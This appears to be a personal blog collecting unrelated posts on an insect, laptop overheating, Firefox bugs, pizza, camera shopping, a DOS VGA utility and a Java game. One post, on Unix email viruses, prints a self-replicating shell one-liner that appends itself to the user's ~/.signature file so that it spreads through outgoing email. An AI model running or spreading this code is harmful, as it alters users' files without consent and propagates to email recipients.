Unidentified flying insect

I found 2 Insects looking like this in my appartment:

Anyone knows what it is, its about 10cm large from leg tip to tip if it stretches out and capable of flight, seems not to have any inteligence to speak of. I could catch it and throw it out of my appartment but iam affraid its too cold outside?

Anyone knows what it eats? How long it lives?

Modern notebooks

My acer NB today: Critical temperature reached (101 C), shutting down.
And disablng power management of the HD produces errors after a while, not just today but always.

“Latest” firefox

A little rant to keep my blog from rotting, firefox after 3.0 or so no longer works on kernels that randomize memory allocation a bit. Ones choices are either patching firefox or to disable the randomization for it. And we all know if one application needs all the security layers one can get then its the modern web browsers.
Not to mention how one can be so lame to have such bug open for ages and still not even produce an error message but rather run mmap() munmap() in an infinite loop.

Pizza

As the little reverse engeneering puzzle has been solved, we need some prize …

img_2801pp.jpg

flour, olive oil, half a teaspoon sugar, dry yeast and water. No thats not yet the price ^^; And probably not even a half correct pizza dough but i like it and am too lazy to look up what is “correct”.

img_2815pp.jpg

After rescaling the x,y and z transformation vectors of the dough it becoms flat and roun hmm square?! (… i guess ill file a bugreport about that one later) adding tomato puree and tuna.

Adding gouda cheese and oregano, i should probably have added more cheese but transforming a block of cheese into these stripes is boring and the ready made pizza cheese from supermarket could be more accurately be described by milk+yellow color and thickening agent so that stuff was not an option.

After ~15min at ~493 kelvin

And at last, the pizza was turned into a virtual pizza, which i herein officially give to chrono! The real counterpart has for saftey reasons been quickly ea ehm i mean destroyed, to avoid paradoxes.

Did you know… (aka daily nonsense on wikipedia)

Being a little bored and too lazy to do any meaningfull work. Ive looked at wikis main page and on that the Paradox of choice caught my eye, thinking its some interresting thing about math like the Axiom of choice is.

After reading the article iam puzzled why something like that is on wikipedia at all. Not to mention how things like that get linked from the front page.

Psychology has together with astrology always been a little astray from science and logic. But that article is really missing the point. Consumers dont have a problem with too many choices, they have a problem with making choices based on lack of information, wrong and irrelevant information (as presented in advertisements).
If one has a small set of products to choose from at the supermarkt one can try them all or at least a significant fraction of them and then in the future choose the best (considering quality, taste, price, …). With more products trying a significant fraction becomes impossible, one has to rely on other means of comparission. With many products thats still dead easy, for example after trying 3 differnt brands of noodles one realzes they all taste the same. So simply choosing the cheapest is the ideal choice. The same is true in a sense for green tea. None of the green teas from supermarkets i tried tastes as good as a random one from a real tea shop. It gets a lot trickier with these frozen, refrigerated, canned or dried, ready made foods there are far too many to try them all. Theres no obvious trend of taste vs. price, not even a reliable taste vs. brand trend. Only thing which has been always true is that cooked by my (grand)mother or myself tastes better :). I think supermarkets really should add some “number of packs sold per month” and “average customer rating” to their price tags.

Supperior (no frozen and dried crap), half finished, yesterday:

Which digicam should i buy?

A few days ago i came up with the idea of replacing my several years old canon digital ixus 30 with something newer and better. Maybe with a more recent canon ixus (called elph SD+somenumber outside europe), heres a summary of what ive found that has changed:

noise at same ISO? well iam not sure if it improved a little or not, the test images in various digicam tests on the web arent easy to compare due to different resolutions and likely different noise reduction used by the cameras …
ISOs the recent ixus/elphs suport 800 and 1600 which is nice though somewhat noisy, OTOH they lost 50 support which is a pitty and i cant help but wonder why noone has hacked the damn crap to support any ISO. Or has someone?
manual controls no, still not, we need to wait another 10years for canon to remove that #ifndef ELPH in their source code
wide angle 28-105mm on the SD800 and SD870 instead of 35-105mm which is nice but id be more happy if they had 18-55mm or something in that area
max aperture no still at f2.8 and thats the same for all compact cameras i found
weight seems to have gotten worse …
Really important things Face detection, yes really everyone dreamed of it and wanted it now finally we have it in every new camera ;) but seriously wtf. Is the industry totally insane? What is this nonsense good for … if at least it would recognize people and depending on who it is focus on something else :) then it might be usefull but …
Just remember the user of the camera knows what he wants to focus on, the camera does not and cannot, the user might even want to focus on different things in the same situation depending on his mood its not something a camera or another human can guess

So seems like 3 years isnt enough for canon to improve their (ultra) compact cameras. What about the powershot A series? well i had the A95 for a week but it was simply way too heavy and big also its light sensitivity was not any better than the much smaller canon ixus IIRC. Though at least it had manual controls so the camera did what i wanted. And the fuji F30/F31fd? Well fuji stoped producing them and their replacment the F50fd produces vertical stripes with a nice green magenta gradient over its images, making high ISO unuseable without some cleanup. (noise is one thing but stripes even if they are fainter than the noise just isnt something i want in my images) Also the f50fd is noisier than the f31fd though still significantly less noisy then anything produced by its competitors in that size and weight range that i found.

So suggestions welcome, but it looks like i wont buy any new camera. Capitalism has once again demonstrated that it doesnt work, its not as if the consumer would know which product is best and would thus force the industry to produce better products, its rather that the industry prints irrelevant numbers (megapixels) on the cameras and the consumer buys based on that ignoring all relevant parameters. So the industry just needs to exchange the CCD with one with more megapixels and paint the camera differently instead of improving anything relevant.

Forgotten code, VGA600

Low resolution graphics modes like 320×200 are displayed with doublescan so that each logical line is drawn twice, that way 320×200 is drawn with 400 lines which looks better than 200 on a modern CRT monitor. The reason is that modern CRT monitors are designed to be able to display 1000 or more lines and if they are feeded with just 200 there would be huge black bars between these thin 200 lines, with 400 lines its better but still not good.

VGA600 is a little DOS TSR which i wrote in 1996/1997 to solve this problem, VGA600 does that by monitoring the state of various vga registers and if it detects that the current graphic or text mode can be improved then it improves it by increasing the number of lines and dot clock. So for example 320×200 would be displayed with 600 or 800 lines (which it is depends on the configuration)

Source code under GPL, README and binary are available too

Ive extensively tested VGA600 with doom and quake with a ET4000 PCI card a long time ago ;)

Patches welcome, especially ones porting this to linux and modern vga cards :)

Unix email viruses, do they exist?

Seeing all the thousends of email viruses in my spam folder, all probably specific to windows, iam wondering why havnt i seen any for linux. Are linux users too intelligent to copy and past unknown code into their terminal or execute a attached executable?

Its not hard to write a email virus for linux, if you dont belive me see the example below. Note, the code is public domain i dont claim any copyright on it. Standard disclaimer: iam not resposible for the consequences of using this code for anything even less so modificated variants of it. Iam just providing this for scientific purposes! Do not use it for any evil!


echo ' echo echo `echo -e \\\47;cat /tmp/t;echo -e \\\47`\>/tmp/t\;. /tmp/t>>~/.signature'>/tmp/t;. /tmp/t

Tic Tac Toe

Java sucks, all remotely sane humans know that nowadays, but long long ago i did the unimagineable and volunteerly wrote some small java programs (until i realized how badly java sucks). Todays or actually tonights blog entry is dedicated to one of these, a little Tic-Tac-Toe game, which you should be able to see below in the unlikely case that you have java enabled in your browser


8? years old GPL source is available too, and in case you are wondering the images where created with povray, and yes patches to improve it are welcome ;)

PS: if you win send me a bugreport ;)
